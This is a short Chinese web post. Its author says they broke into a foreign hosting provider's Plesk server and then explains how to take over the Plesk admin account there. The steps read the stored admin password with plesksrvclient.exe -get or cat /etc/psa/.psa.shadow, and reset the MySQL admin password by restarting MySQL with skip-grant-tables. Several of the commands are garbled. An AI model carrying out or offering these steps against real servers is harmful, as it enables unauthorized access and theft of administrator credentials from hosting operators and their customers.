重置Plesk的Admin帐号密码提权 - 网站安全 - 自学

前几天提权了个国外的空间商服务器，装的是plesk主机管理系统，以前就知道可以在服务器上直接找回密码，顺手弄了一下，找到了方案，完了直接在IP后面加上8443访问，当然以SSL方式访问哦！

 

说下Windows 和Linux下的两种方案吧！

登陆到windows，运行如下命令：

C:\Program Files\Swsoft\Plesk\admin\bin\plesksr vc lient.exe

即可。

 

也可以采用命令行方式：

plesksrvclient.exe -get 获取当前密码

 

登陆到linux,运行cat /etc/psa/.psa.shadow可以查看到当前密码

 

重置密码方法

 

1.编辑/etc/my.cnf

在[ mysql d]项下加入skip-grant-tables

重启mysql,执行/etc/init.d/mysqld restart

 

2.运行/usr/bin/mysql -D mysql -e]update user set password=PASSWORD(‘`cat /etc/psa/.psa.shadow`’) where User=’admin’;]

重置成当前.psa.shadow中的密码

3.去除skip-grant-tables,重启mysql,完成

查看更多关于重置Plesk的Admin帐号密码提权 - 网站安全 - 自学的详细内容...